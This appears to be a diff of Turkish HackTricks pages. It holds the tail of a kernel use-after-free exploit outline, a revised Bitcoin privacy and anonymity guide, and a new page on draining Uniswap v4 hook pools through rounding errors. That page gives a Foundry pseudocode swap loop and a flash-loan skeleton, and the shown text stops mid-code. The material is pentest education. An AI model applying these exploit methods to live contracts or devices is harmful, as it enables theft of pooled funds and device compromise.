2. **Spray IOSurface Objects**: Çekirdek belleğe benzersiz bir "magic value" içeren birçok IOSurface nesnesi ayırın.
3. **Identify Accessible IOSurface**: Kontrolünüzdeki serbest bırakılmış bir sayfada bir IOSurface bulun.
1. **Trigger Physical Use-After-Free**: Boşaltılmış sayfalar yeniden kullanım için mevcut hale gelir.
2. **Spray IOSurface Objects**: kernel memory'de benzersiz bir "magic value" içeren çok sayıda IOSurface nesnesi ayırın.
3. **Identify Accessible IOSurface**: Kontrolünüzdeki boşaltılmış bir sayfada bulunan bir IOSurface'i tespit edin.
4. **Abuse Use-After-Free**: IOSurface nesnesindeki işaretçileri değiştirerek IOSurface yöntemleri aracılığıyla rastgele **kernel read/write** sağlayın.
Bu primitiflerle exploit, çekirdek belleğe kontrollü **32-bit reads** ve **64-bit writes** sağlar. Daha ileri jailbreak adımları daha kararlı read/write primitifleri gerektirebilir; bu da ek korumaların (örn. daha yeni arm64e cihazlarda PPL) atlatılmasını gerektirebilir.
Bu primitiflerle exploit, kernel memory'ye kontrollü **32-bit reads** ve **64-bit writes** sağlar. İleri jailbreak adımları, daha stabil read/write primitifleri gerektirebilir; bu da ek korumaların (ör. yeni arm64e cihazlarda PPL) atlatılmasını gerektirebilir.
{{#include ../../banners/hacktricks-training.md}}

168
src/blockchain/blockchain-and-crypto-currencies/README.md
View File

@ -1,176 +1,178 @@
# Blockchain and Crypto-Currencies
{{#include ../../banners/hacktricks-training.md}}
## Temel Kavramlar
- **Akıllı Sözleşmeler**, belirli koşullar yerine getirildiğinde bir blok zincirinde yürütülen programlar olarak tanımlanır ve aracılara ihtiyaç duymadan anlaşma yürütmelerini otomatikleştirir.
- **Merkeziyetsiz Uygulamalar (dApps)**, kullanıcı dostu bir ön yüz ve şeffaf, denetlenebilir bir arka uç ile akıllı sözleşmeler üzerine inşa edilir.
- **Tokenlar ve Coinler**, coinlerin dijital para olarak hizmet etmesi, tokenların ise belirli bağlamlarda değer veya mülkiyeti temsil etmesi ile ayrılır.
- **Yardımcı Tokenlar**, hizmetlere erişim sağlar ve **Güvenlik Tokenları** varlık mülkiyetini belirtir.
- **DeFi**, merkezi otoriteler olmadan finansal hizmetler sunan Merkeziyetsiz Finans anlamına gelir.
- **DEX** ve **DAO'lar**, sırasıyla Merkeziyetsiz Borsa Platformları ve Merkeziyetsiz Otonom Organizasyonlar anlamına gelir.
- **Smart Contracts** bir blokzincir üzerinde belirli koşullar sağlandığında çalışan programlar olarak tanımlanır; aracı olmadan anlaşmaların otomatik olarak yürütülmesini sağlar.
- **Decentralized Applications (dApps)**, kullanıcı dostu bir ön yüz ve şeffaf, denetlenebilir bir arka uç içeren smart contract’lar üzerine kurulur.
- **Tokens & Coins** farkı, coin’lerin dijital para olarak hizmet etmesi; token’lar ise belirli bağlamlarda değer veya mülkiyet temsil etmesidir.
- **Utility Tokens** hizmetlere erişim sağlar, **Security Tokens** ise varlık mülkiyetini gösterir.
- **DeFi**, merkezi otoriteler olmadan finansal hizmetler sunan Decentralized Finance anlamına gelir.
- **DEX** ve **DAOs** sırasıyla Decentralized Exchange Platformları ve Decentralized Autonomous Organizations anlamına gelir.
## Konsensüs Mekanizmaları
Konsensüs mekanizmaları, blok zincirinde güvenli ve kabul edilen işlem doğrulamalarını sağlar:
Konsensüs mekanizmaları, blokzincirde işlemlerin güvenli ve mutabık şekilde doğrulanmasını sağlar:
- **İş Kanıtı (PoW)**, işlem doğrulama için hesaplama gücüne dayanır.
- **Hisse Kanıtı (PoS)**, doğrulayıcıların belirli bir miktar token bulundurmasını gerektirir ve PoW'ye kıyasla enerji tüketimini azaltır.
- **Proof of Work (PoW)** işlem doğrulaması için hesaplama gücüne dayanır.
- **Proof of Stake (PoS)** doğrulayıcıların belirli miktarda token bulundurmasını gerektirir; PoW’ye kıyasla enerji tüketimini azaltır.
## Bitcoin Temelleri
### İşlemler
Bitcoin işlemleri, adresler arasında fon transferini içerir. İşlemler, yalnızca özel anahtarın sahibi tarafından transferlerin başlatılmasını sağlamak için dijital imzalarla doğrulanır.
Bitcoin işlemleri adresler arasında fon transferini içerir. İşlemler dijital imzalarla doğrulanır; böylece yalnızca özel anahtarın sahibi transfer başlatabilir.
#### Ana Bileşenler:
#### Temel Bileşenler:
- **Çok İmzalı İşlemler**, bir işlemi yetkilendirmek için birden fazla imza gerektirir.
- İşlemler, **girdiler** (fon kaynağı), **çıktılar** (hedef), **ücretler** (madencilere ödenen) ve **scriptler** (işlem kuralları) içerir.
- **Multisignature Transactions** bir işlemi yetkilendirmek için birden fazla imza gerektirir.
- İşlemler **inputs** (fon kaynağı), **outputs** (hedef), **fees** (madencilere ödenen), ve **scripts** (işlem kuralları) bileşenlerinden oluşur.
### Lightning Ağı
### Lightning Network
Bitcoin'in ölçeklenebilirliğini artırmayı hedefler, bir kanalda birden fazla işlemi gerçekleştirerek yalnızca nihai durumu blok zincirine yayınlar.
Bitcoin’in ölçeklenebilirliğini artırmayı hedefler; bir kanalda birden fazla işlem yapılmasına izin vererek sadece son durumu blokzincire yayınlar.
## Bitcoin Gizlilik Endişeleri
Gizlilik saldırıları, **Ortak Girdi Mülkiyeti** ve **UTXO Değişim Adresi Tespiti** gibi, işlem kalıplarını istismar eder. **Mikserler** ve **CoinJoin** gibi stratejiler, kullanıcılar arasındaki işlem bağlantılarını gizleyerek anonimliği artırır.
Common Input Ownership ve **UTXO Change Address Detection** gibi gizlilik saldırıları işlem desenlerinden yararlanır. **Mixers** ve **CoinJoin** gibi stratejiler, kullanıcılar arasındaki işlem bağlantılarını gizleyerek anonimliği artırır.
## Bitcoinleri Anonim Olarak Edinme
## Bitcoins’i Anonim Olarak Elde Etme
Yöntemler arasında nakit ticareti, madencilik ve mikser kullanımı bulunur. **CoinJoin**, birden fazla işlemi karıştırarak izlenebilirliği karmaşıklaştırırken, **PayJoin** CoinJoin'leri normal işlemler olarak gizleyerek gizliliği artırır.
Yöntemler nakit ticareti, madencilik ve mixer kullanımını içerir. **CoinJoin** birden fazla işlemi karıştırarak izlenebilirliği zorlaştırırken, **PayJoin** CoinJoin’leri normal işlemler gibi gizleyerek daha yüksek gizlilik sağlar.
# Bitcoin Gizlilik Saldırıları
# Bitcoin Privacy Atacks
# Bitcoin Gizlilik Saldırıları Özeti
Bitcoin dünyasında, işlemlerin gizliliği ve kullanıcıların anonimliği genellikle endişe konusudur. İşte saldırganların Bitcoin gizliliğini tehlikeye atabileceği birkaç yaygın yöntemin basitleştirilmiş bir özeti.
Bitcoin dünyasında işlemlerin gizliliği ve kullanıcıların anonimliği sıkça endişe konusudur. İşte saldırganların Bitcoin gizliliğini zedeleyebileceği birkaç yaygın yöntemin basitleştirilmiş bir özeti.
## **Ortak Girdi Mülkiyeti Varsayımı**
## **Common Input Ownership Assumption**
Farklı kullanıcıların girdilerinin tek bir işlemde birleştirilmesi genellikle nadirdir, bu nedenle **aynı işlemdeki iki girdi adresinin genellikle aynı sahibine ait olduğu varsayılır**.
Farklı kullanıcıların girdilerinin tek bir işlemde birleştirilmesi genellikle nadirdir; bu nedenle **aynı işlemde bulunan iki input adresinin genellikle aynı sahibi olduğu varsayılır**.
## **UTXO Değişim Adresi Tespiti**
## **UTXO Change Address Detection**
Bir UTXO, veya **Harcanmamış İşlem Çıktısı**, bir işlemde tamamen harcanmalıdır. Eğer yalnızca bir kısmı başka bir adrese gönderilirse, geri kalan yeni bir değişim adresine gider. Gözlemciler, bu yeni adresin gönderene ait olduğunu varsayarak gizliliği tehlikeye atabilir.
UTXO (Unspent Transaction Output) bir işlemde tamamen harcanmak zorundadır. Sadece bir kısmı başka bir adrese gönderilirse, kalan kısım yeni bir change adresine gider. Gözlemciler bu yeni adresin gönderene ait olduğunu varsayarak gizliliği zedeleyebilir.
### Örnek
Bunu hafifletmek için, karıştırma hizmetleri veya birden fazla adres kullanmak mülkiyeti gizlemeye yardımcı olabilir.
Bunu azaltmak için mixing servisleri veya birden çok adres kullanmak mülkiyeti gizlemeye yardımcı olabilir.
## **Sosyal Ağlar ve Forumlar Maruziyeti**
## **Sosyal Ağlar ve Forumlar Üzerinden Açığa Çıkma**
Kullanıcılar bazen Bitcoin adreslerini çevrimiçi paylaşır, bu da **adresin sahibine bağlanmasını kolaylaştırır**.
Kullanıcılar bazen Bitcoin adreslerini çevrimiçi paylaşır; bu da adresin sahibiyle ilişkilendirilmesini kolaylaştırır.
## **İşlem Grafiği Analizi**
İşlemler, fon akışına dayalı olarak kullanıcılar arasındaki potansiyel bağlantıları ortaya çıkaran grafikler olarak görselleştirilebilir.
İşlemler grafik olarak görselleştirilebilir; fon akışına göre kullanıcılar arasında potansiyel bağlantıları açığa çıkarabilir.
## **Gereksiz Girdi Heuristiği (Optimal Değişim Heuristiği)**
## **Unnecessary Input Heuristic (Optimal Change Heuristic)**
Bu heuristik, birden fazla girdi ve çıktı içeren işlemleri analiz ederek hangi çıktının gönderene geri dönen değişim olduğunu tahmin etmeye dayanır.
Bu heuristic, birden fazla input ve output içeren işlemleri analiz ederek hangi output’un gönderene geri dönen change olduğunu tahmin etmeye dayanır.
### Örnek
```bash
2 btc --> 4 btc
3 btc 1 btc
```
Eğer daha fazla girdi eklemek, değişiklik çıktısını herhangi bir tek girdi kadar büyük yapıyorsa, bu heuristiği karıştırabilir.
If adding more inputs makes the change output larger than any single input, it can confuse the heuristic.
## **Zorunlu Adres Yeniden Kullanımı**
Saldırganlar, alıcının bunları gelecekteki işlemlerde diğer girdilerle birleştirmesini umarak, daha önce kullanılan adreslere küçük miktarlar gönderebilirler ve böylece adresleri birbirine bağlayabilirler.
Saldırganlar, alıcının gelecekte bu küçük miktarları diğer inputlarla birleştirip adresleri birbirine bağlamasını umut ederek daha önce kullanılmış adreslere küçük miktarlar gönderebilirler.
### Doğru Cüzdan Davranışı
### Doğru Wallet Davranışı
Cüzdanlar, bu gizlilik sızıntısını önlemek için daha önce kullanılmış, boş adreslerde alınan coinleri kullanmaktan kaçınmalıdır.
Cüzdanlar, bu privacy leak'i önlemek için zaten kullanılmış, boş adreslerde alınan coinleri kullanmaktan kaçınmalıdır.
## **Diğer Blockchain Analiz Teknikleri**
## **Diğer Blockchain Analizi Teknikleri**
- **Kesin Ödeme Miktarları:** Değişiklik olmadan yapılan işlemler, muhtemelen aynı kullanıcıya ait iki adres arasında gerçekleşir.
- **Yuvarlak Sayılar:** Bir işlemdaki yuvarlak bir sayı, bunun bir ödeme olduğunu gösterir; yuvarlak olmayan çıktı muhtemelen değişikliktir.
- **Cüzdan Parmak İzi:** Farklı cüzdanlar, analistlerin kullanılan yazılımı ve potansiyel olarak değişiklik adresini tanımlamasına olanak tanıyan benzersiz işlem oluşturma desenlerine sahiptir.
- **Miktar ve Zaman Korelasyonları:** İşlem zamanlarını veya miktarlarını açıklamak, işlemlerin izlenebilir hale gelmesine neden olabilir.
- **Tam Ödeme Tutarları:** change olmayan işlemler muhtemelen aynı kullanıcıya ait iki adres arasındadır.
- **Yuvarlak Sayılar:** Bir işlemde yuvarlak bir sayı ödemeyi işaret eder; yuvarlak olmayan çıktı muhtemelen change'dir.
- **Wallet Fingerprinting:** Farklı cüzdanların işlem oluşturma desenleri benzersizdir; analistler kullanılan yazılımı ve muhtemel change adresini tespit edebilir.
- **Tutar ve Zamanlama Korelasyonları:** İşlem zamanları veya tutarlarının açıklanması işlemleri izlenebilir hale getirebilir.
## **Trafik Analizi**
## **Traffic Analysis**
Ağ trafiğini izleyerek, saldırganlar işlemleri veya blokları IP adreslerine bağlayabilir ve kullanıcı gizliliğini tehlikeye atabilir. Bu, bir varlığın birçok Bitcoin düğümü işletmesi durumunda özellikle doğrudur ve işlemleri izleme yeteneklerini artırır.
Ağ trafiğini izleyerek, saldırganlar işlemleri veya blokları IP adreslerine bağlayabilir ve kullanıcı gizliliğini tehlikeye atabilir. Bir varlığın çok sayıda Bitcoin node'u işletmesi, işlemleri izleme yeteneklerini artırır.
## Daha Fazla
## More
Gizlilik saldırıları ve savunmaları hakkında kapsamlı bir liste için [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy) adresini ziyaret edin.
For a comprehensive list of privacy attacks and defenses, visit [Bitcoin Privacy on Bitcoin Wiki](https://en.bitcoin.it/wiki/Privacy).
# Anonim Bitcoin İşlemleri
# Anonymous Bitcoin Transactions
## Bitcoinleri Anonim Olarak Elde Etmenin Yolları
## Ways to Get Bitcoins Anonymously
- **Nakit İşlemler**: Nakit ile bitcoin edinmek.
- **Nakit Alternatifleri**: Hediye kartları satın alıp bunları çevrimiçi olarak bitcoin ile değiştirmek.
- **Madencilik**: Bitcoin kazanmanın en özel yöntemi madenciliktir, özellikle yalnız yapıldığında çünkü madencilik havuzları madencinin IP adresini bilebilir. [Madencilik Havuzları Bilgisi](https://en.bitcoin.it/wiki/Pooled_mining)
- **Hırsızlık**: Teorik olarak, bitcoin çalmak anonim olarak edinmenin bir başka yöntemi olabilir, ancak bu yasadışıdır ve önerilmez.
- **Cash Transactions**: Nakit ile bitcoin edinme.
- **Cash Alternatives**: Hediye kartları satın alıp bunları çevrimiçi olarak bitcoin'e çevirme.
- **Mining**: Bitcoin kazanmanın en özel yöntemi mining'dir; özellikle solo mining yapıldığında en gizlidir, çünkü mining pools madencinin IP adresini bilebilir. [Mining Pools Information](https://en.bitcoin.it/wiki/Pooled_mining)
- **Theft**: Teorik olarak, bitcoin çalmak anonim edinme yöntemi olabilir, ancak bu yasadışıdır ve tavsiye edilmez.
## Karıştırma Hizmetleri
## Mixing Services
Bir karıştırma hizmeti kullanarak, bir kullanıcı **bitcoin gönderebilir** ve **karşılığında farklı bitcoinler alabilir**, bu da orijinal sahibin izlenmesini zorlaştırır. Ancak, bu hizmetin kayıt tutmaması ve gerçekten bitcoinleri geri döndürmesi için güven gerektirir. Alternatif karıştırma seçenekleri arasında Bitcoin kumarhaneleri bulunmaktadır.
Bir mixing service kullanarak kullanıcı, bitcoin gönderebilir ve karşılığında farklı bitcoinler alabilir; bu da orijinal sahibin izini zorlaştırır. Yine de, bu servise kayıt tutmama ve bitcoinleri gerçekten geri verme konusunda güvenmek gerekir. Alternatif mixing seçenekleri arasında Bitcoin casinoları bulunur.
## CoinJoin
**CoinJoin**, farklı kullanıcılardan gelen birden fazla işlemi birleştirerek, girdileri çıktılarla eşleştirmeye çalışan herkes için süreci karmaşık hale getirir. Etkinliğine rağmen, benzersiz girdi ve çıktı boyutlarına sahip işlemler hala izlenebilir.
CoinJoin, farklı kullanıcıların işlemlerini tek bir işlemde birleştirir ve girişleri çıkışlarla eşleştirmeyi zorlaştırır. Buna rağmen, benzersiz input ve output boyutlarına sahip işlemler hâlâ takip edilebilir.
CoinJoin kullanmış olabilecek örnek işlemler arasında `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` ve `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` bulunmaktadır.
CoinJoin kullanmış olabilecek örnek işlemler arasında `402d3e1df685d1fdf82f36b220079c1bf44db227df2d676625ebcbee3f6cb22a` ve `85378815f6ee170aa8c26694ee2df42b99cff7fa9357f073c1192fff1f540238` bulunur.
Daha fazla bilgi için [CoinJoin](https://coinjoin.io/en) adresini ziyaret edin. Ethereum'da benzer bir hizmet için [Tornado Cash](https://tornado.cash) adresine göz atın; bu hizmet, madencilerden gelen fonlarla işlemleri anonimleştirir.
For more information, visit [CoinJoin](https://coinjoin.io/en). For a similar service on Ethereum, check out [Tornado Cash](https://tornado.cash), which anonymizes transactions with funds from miners.
## PayJoin
CoinJoin'un bir varyantı olan **PayJoin** (veya P2EP), iki taraf (örneğin, bir müşteri ve bir satıcı) arasında işlemi, CoinJoin'un belirgin eşit çıktılar özelliği olmadan, normal bir işlem olarak gizler. Bu, tespit edilmesini son derece zorlaştırır ve işlem gözetim varlıkları tarafından kullanılan ortak-girdi-sahipliği heuristiğini geçersiz kılabilir.
CoinJoin'ın bir varyantı olan PayJoin (veya P2EP), işlemi iki taraf (ör. müşteri ve satıcı) arasında normal bir işlem gibi gizler; CoinJoin'a özgü eşit çıktılar özelliği yoktur. Bu, tespit edilmesini son derece zorlaştırır ve transaction surveillance tarafından kullanılan common-input-ownership heuristic'i geçersiz kılabilir.
```plaintext
2 btc --> 3 btc
5 btc 4 btc
```
Yukarıdaki gibi işlemler PayJoin olabilir, gizliliği artırırken standart bitcoin işlemlerinden ayırt edilemez kalır.
Yukarıdaki gibi işlemler PayJoin olabilir; normal bitcoin işlemlerinden ayırt edilemez halde kalarak gizliliği artırır.
**PayJoin'in kullanımı, geleneksel gözetim yöntemlerini önemli ölçüde bozabilir**, bu da işlem gizliliği arayışında umut verici bir gelişme haline getirir.
**PayJoin kullanımı, geleneksel gözetim yöntemlerini önemli ölçüde sekteye uğratabilir**, bu da onu işlem gizliliği arayışında umut verici bir gelişme yapar.
# Kripto Para Birimlerinde Gizlilik için En İyi Uygulamalar
# Kripto Para Birimlerinde Gizlilik İçin En İyi Uygulamalar
## **Cüzdan Senkronizasyon Teknikleri**
## **Wallet Synchronization Techniques**
Gizliliği ve güvenliği korumak için, cüzdanların blockchain ile senkronize edilmesi kritik öneme sahiptir. İki yöntem öne çıkmaktadır:
Gizliliği ve güvenliği korumak için cüzdanların blockchain ile senkronize edilmesi çok önemlidir. İki yöntem öne çıkar:
- **Tam düğüm**: Tüm blockchain'i indirerek, tam düğüm maksimum gizlilik sağlar. Daha önce yapılmış tüm işlemler yerel olarak saklanır, bu da düşmanların kullanıcının hangi işlemlerle veya adreslerle ilgilendiğini belirlemesini imkansız hale getirir.
- **İstemci tarafı blok filtreleme**: Bu yöntem, blockchain'deki her blok için filtreler oluşturarak cüzdanların belirli ilgi alanlarını ağ gözlemcilerine ifşa etmeden ilgili işlemleri tanımlamasını sağlar. Hafif cüzdanlar bu filtreleri indirir, yalnızca kullanıcının adresleriyle eşleşme bulunduğunda tam blokları alır.
- **Full node**: Tüm blockchain'i indirerek, bir full node maksimum gizliliği sağlar. Yapılmış tüm işlemler yerel olarak saklanır; bu da saldırganların kullanıcının hangi işlemlerle veya adreslerle ilgilendiğini tespit etmesini imkansızlaştırır.
- **Client-side block filtering**: Bu yöntem, blockchain'deki her blok için filtreler oluşturmayı içerir; bu sayede cüzdanlar, ağ gözlemcilerine özel ilgi alanlarını açmadan ilgili işlemleri tespit edebilir. Lightweight cüzdanlar bu filtreleri indirir ve kullanıcının adresleriyle eşleşme olduğunda yalnızca tam blokları çeker.
## **Anonimlik için Tor Kullanımı**
## **Utilizing Tor for Anonymity**
Bitcoin'in eşler arası bir ağda çalıştığı göz önüne alındığında, IP adresinizi maskelemek için Tor kullanılması önerilir, bu da ağla etkileşimde gizliliği artırır.
Bitcoin'in peer-to-peer bir ağ üzerinde çalıştığı göz önüne alındığında, IP adresinizi gizlemek için Tor kullanılması önerilir; bu, ağ ile etkileşimde gizliliği artırır.
## **Adres Yeniden Kullanımını Önleme**
## **Preventing Address Reuse**
Gizliliği korumak için her işlem için yeni bir adres kullanmak hayati öneme sahiptir. Adreslerin yeniden kullanılması, işlemleri aynı varlıkla ilişkilendirerek gizliliği tehlikeye atabilir. Modern cüzdanlar, tasarımları aracılığıyla adres yeniden kullanımını teşvik etmez.
Gizliliği korumak için her işlemde yeni bir adres kullanmak hayati önem taşır. Adreslerin yeniden kullanılması, işlemleri aynı varlığa bağlayarak gizliliği zayıflatabilir. Modern cüzdanlar tasarımlarıyla adres tekrarını teşvik etmez.
## **İşlem Gizliliği için Stratejiler**
## **Strategies for Transaction Privacy**
- **Birden fazla işlem**: Bir ödemeyi birkaç işleme bölmek, işlem miktarını belirsizleştirerek gizlilik saldırılarını engelleyebilir.
- **Değişimden kaçınma**: Değişim çıktısı gerektirmeyen işlemleri tercih etmek, değişim tespit yöntemlerini bozarak gizliliği artırır.
- **Birden fazla değişim çıktısı**: Değişimden kaçınmak mümkün değilse, birden fazla değişim çıktısı oluşturmak yine de gizliliği artırabilir.
- **Multiple transactions**: Bir ödemeyi birkaç işleme bölmek, işlem tutarını gizleyerek gizlilik saldırılarını boşa çıkarabilir.
- **Change avoidance**: Change çıktılarına ihtiyaç duymayan işlemleri tercih etmek, change tespit yöntemlerini bozarak gizliliği artırır.
- **Multiple change outputs**: Change'den kaçınmak mümkün değilse, birden fazla change çıktısı oluşturmak yine de gizliliği iyileştirebilir.
# **Monero: Anonimlik Işığı**
# **Monero: A Beacon of Anonymity**
Monero, dijital işlemlerde mutlak anonimlik ihtiyacını karşılar ve gizlilik için yüksek bir standart belirler.
Monero, dijital işlemlerde mutlak anonimlik ihtiyacını ele alır ve gizlilik için yüksek bir standart belirler.
# **Ethereum: Gaz ve İşlemler**
# **Ethereum: Gas and Transactions**
## **Gazı Anlamak**
## **Understanding Gas**
Gaz, Ethereum'da işlemleri gerçekleştirmek için gereken hesaplama çabasını ölçer ve **gwei** cinsinden fiyatlandırılır. Örneğin, 2,310,000 gwei (veya 0.00231 ETH) maliyetli bir işlem, bir gaz limiti ve bir temel ücret içerir, ayrıca madencileri teşvik etmek için bir bahşiş vardır. Kullanıcılar, fazla ödeme yapmamalarını sağlamak için maksimum bir ücret belirleyebilir ve fazlası iade edilir.
Gas, Ethereum üzerinde işlemleri gerçekleştirmek için gereken hesaplama çabasını ölçer ve fiyatlandırması **gwei** cinsindendir. Örneğin, 2,310,000 gwei (veya 0.00231 ETH) maliyetli bir işlem, bir gas limiti ve bir base fee içerir; madencileri teşvik etmek için bir tip de eklenir. Kullanıcılar, fazla ödeme yapmamayı garanti etmek için bir max fee belirleyebilir; fazla olan iade edilir.
## **İşlemleri Gerçekleştirme**
## **Executing Transactions**
Ethereum'daki işlemler bir gönderici ve bir alıcı içerir; bu alıcı ya kullanıcı ya da akıllı sözleşme adresi olabilir. İşlemler bir ücret gerektirir ve madencilik yapılması gerekir. Bir işlemdeki temel bilgiler alıcı, göndericinin imzası, değer, isteğe bağlı veri, gaz limiti ve ücretlerdir. Özellikle, göndericinin adresi imzadan çıkarılır, bu da işlem verilerinde bulunmasına gerek kalmaz.
Ethereum'daki işlemler, gönderici ve alıcıyı içerir; bunlar kullanıcı veya smart contract adresleri olabilir. İşlemler bir ücret gerektirir ve madencilik ile onaylanmalıdır. Bir işlemdeki temel bilgiler alıcı, göndericinin imzası, değer, isteğe bağlı veri, gas limiti ve ücretlerdir. Göndericinin adresi, imzadan türetildiği için işlem verisinde ayrı olarak yer almasına gerek yoktur.
Bu uygulamalar ve mekanizmalar, gizlilik ve güvenliği önceliklendiren herkes için kripto para birimleriyle etkileşimde bulunmanın temelini oluşturur.
Bu uygulamalar ve mekanizmalar, gizlilik ve güvenliği önceliklendiren herkes için kripto paralarla etkileşimde bulunmanın temelini oluşturur.
## Referanslar
## References
- [https://en.wikipedia.org/wiki/Proof_of_stake](https://en.wikipedia.org/wiki/Proof_of_stake)
- [https://www.mycryptopedia.com/public-key-private-key-explained/](https://www.mycryptopedia.com/public-key-private-key-explained/)
@ -179,4 +181,12 @@ Bu uygulamalar ve mekanizmalar, gizlilik ve güvenliği önceliklendiren herkes
- [https://ethereum.org/en/developers/docs/gas/](https://ethereum.org/en/developers/docs/gas/)
- [https://en.bitcoin.it/wiki/Privacy](https://en.bitcoin.it/wiki/Privacy#Forced_address_reuse)
## DeFi/AMM Exploitation
DEXes ve AMMs'in (Uniswap v4 hooks, rounding/precision abuse, flash‑loan amplified threshold‑crossing swaps) pratik istismarını araştırıyorsanız, bakınız:
{{#ref}}
defi-amm-hook-precision.md
{{#endref}}
{{#include ../../banners/hacktricks-training.md}}

160
src/blockchain/blockchain-and-crypto-currencies/defi-amm-hook-precision.md Normal file
View File

@ -0,0 +1,160 @@
# DeFi/AMM Exploitation: Uniswap v4 Hook Precision/Rounding Abuse
{{#include ../../banners/hacktricks-training.md}}
Bu sayfa, core matematiği custom hooks ile genişleten Uniswap v4–tarzı DEX'lere yönelik bir DeFi/AMM suistimali sınıfını belgeler. Bunni V2'deki yakın tarihli bir olay, her swap'ta çalıştırılan bir Liquidity Distribution Function (LDF)’teki yuvarlama/hassasiyet hatasından yararlanarak saldırganın pozitif kredi biriktirmesine ve likiditeyi boşaltmasına imkan verdi.
Ana fikir: Bir hook ek muhasebe uyguluyor ve bu muhasebe fixed‑point math, tick rounding ve eşik mantığına bağlıysa, saldırgan belirli eşikleri geçecek şekilde tam‑girdi (exact‑input) swap'lar tasarlayabilir; böylece yuvarlama tutarsızlıkları lehlerine birikir. Bu deseni tekrarlayıp şişirilmiş bakiyeyi çektiklerinde kâr realize edilir; genellikle flash loan ile finanse edilir.
## Background: Uniswap v4 hooks and swap flow
- Hooks, PoolManager'ın belirli yaşam döngüsü noktalarında çağırdığı kontratlardır (ör. beforeSwap/afterSwap, beforeAddLiquidity/afterAddLiquidity, beforeRemoveLiquidity/afterRemoveLiquidity).
- Pool'lar, hooks adresini içeren bir PoolKey ile initialize edilir. Eğer non‑zero ise, PoolManager her ilgili operasyon için callback'ler yapar.
- Core math, sqrtPriceX96 için Q64.96 gibi fixed‑point formatları ve 1.0001^tick ile tick aritmetiğini kullanır. Üzerine inşa edilen herhangi bir custom math, invariant kaymasını önlemek için yuvarlama semantiğini dikkatle eşlemelidir.
- Swaps exactInput veya exactOutput olabilir. v3/v4'te fiyat tick'ler boyunca hareket eder; bir tick sınırını geçmek range likiditeyi aktive/deaktive edebilir. Hooks eşik/tick geçişlerinde ekstra mantık uygulayabilir.
## Vulnerability archetype: threshold‑crossing precision/rounding drift
Custom hook'larda tipik olarak görülen savunmasız pattern:
1. Hook, per‑swap likidite veya bakiye deltasını integer division, mulDiv veya fixed‑point dönüşümleriyle hesaplar (ör. token ↔ liquidity dönüşümleri için sqrtPrice ve tick range'leri kullanmak).
2. Threshold mantığı (ör. rebalancing, adım adım yeniden dağıtım, veya per‑range aktivasyon) bir swap büyüklüğü veya fiyat hareketi iç sınırı geçtiğinde tetiklenir.
3. Yuvarlama, ileri hesaplama ile settlement yolunda tutarsız uygulanır (ör. sıfıra doğru truncation, floor versus ceil). Küçük farklılıklar iptal olmaz, bunun yerine çağırana kredi olarak yazılır.
4. Eşiklerin her iki tarafını da zar zor geçen, tam olarak boyutlandırılmış exact‑input swap'lar pozitif yuvarlama artıklarını tekrar tekrar toplar. Saldırgan daha sonra biriktirilmiş krediyi çekerek kâr sağlar.
Önkoşullar
- Her swap'ta ek math yapan custom v4 hook kullanan bir pool (ör. bir LDF/rebalancer).
- Rounding'ın threshold geçişlerinde swap başlatıcısına fayda sağladığı en az bir yürütme yolu.
- Birçok swap'ı atomik olarak tekrar edebilme yeteneği (flash loans geçici float sağlamak ve gas'ı amorti etmek için idealdir).
## Practical attack methodology
1) Identify candidate pools with hooks
- v4 pool'ları enumerate edip PoolKey.hooks != address(0) olup olmadığını kontrol et.
- Hook bytecode/ABI'sini beforeSwap/afterSwap ve herhangi bir custom rebalancing method'u için incele.
- Şunu arayın: likiditeye bölme yapan, token miktarları ile likidite arasında dönüşüm yapan veya BalanceDelta'ları yuvarlama ile toplayan math.
2) Model the hook’s math and thresholds
- Hook'un likidite/yeniden dağıtım formülünü yeniden yarat: girdiler tipik olarak sqrtPriceX96, tickLower/Upper, currentTick, fee tier ve net likidite içerir.
- Eşik/adım fonksiyonlarını haritalandır: tick'ler, bucket boundary'leri veya LDF kırılma noktaları. Her boundary'nin hangi tarafında delta'nın nasıl yuvarlandığını belirle.
- Nerelerde dönüşümlerin uint256/int256 arasında cast edildiğini, SafeCast kullanıldığını veya implisit floor ile mulDiv'e rely edildiğini tespit et.
3) Calibrate exact‑input swaps to cross boundaries
- Minimal Δin'i hesaplamak için Foundry/Hardhat simülasyonları kullan; fiyatı tam olarak bir boundary'nin ötesine taşımak ve hook branch'ini tetiklemek gerekir.
- afterSwap settlement'ın, maliyetten daha fazla caller'ı krediye yazdığını doğrula; pozitif bir BalanceDelta veya hook muhasebesinde kredi bırakmalı.
- Krediyi biriktirmek için swap'ları tekrar et; sonra hook'un withdrawal/settlement yolunu çağır.
Example Foundry‑style test harness (pseudocode)
```solidity
function test_precision_rounding_abuse() public {
// 1) Arrange: set up pool with hook
PoolKey memory key = PoolKey({
currency0: USDC,
currency1: USDT,
fee: 500, // 0.05%
tickSpacing: 10,
hooks: address(bunniHook)
});
pm.initialize(key, initialSqrtPriceX96);
// 2) Determine a boundary‑crossing exactInput
uint256 exactIn = calibrateToCrossThreshold(key, targetTickBoundary);
// 3) Loop swaps to accrue rounding credit
for (uint i; i < N; ++i) {
pm.swap(
key,
IPoolManager.SwapParams({
zeroForOne: true,
amountSpecified: int256(exactIn), // exactInput
sqrtPriceLimitX96: 0 // allow tick crossing
}),
""
);
}
// 4) Realize inflated credit via hook‑exposed withdrawal
bunniHook.withdrawCredits(msg.sender);
}
```
exactInput'i kalibre etme
- Tick adımı için ΔsqrtP hesapla: sqrtP_next = sqrtP_current × 1.0001^(Δtick).
- v3/v4 formüllerini kullanarak Δin'i yaklaşık hesapla: Δx ≈ L × (ΔsqrtP / (sqrtP_next × sqrtP_current)). Yuvarlama yönünün core math ile eşleştiğinden emin ol.
- Sınırda hook'un lehine yuvarladığı dalı bulmak için Δin'i ±1 wei kadar ayarla.
4) flash loans ile etkisini artır
- Birçok iterasyonu atomik olarak çalıştırmak için büyük bir notional ödünç al (örn., 3M USDT veya 2000 WETH).
- Kalibre edilmiş swap döngüsünü çalıştır, sonra flash loan callback içinde çek ve geri öde.
Aave V3 flash loan skeleton
```solidity
function executeOperation(
address[] calldata assets,
uint256[] calldata amounts,
uint256[] calldata premiums,
address initiator,
bytes calldata params
) external returns (bool) {
// run threshold‑crossing swap loop here
for (uint i; i < N; ++i) {
_exactInBoundaryCrossingSwap();
}
// realize credits / withdraw inflated balances
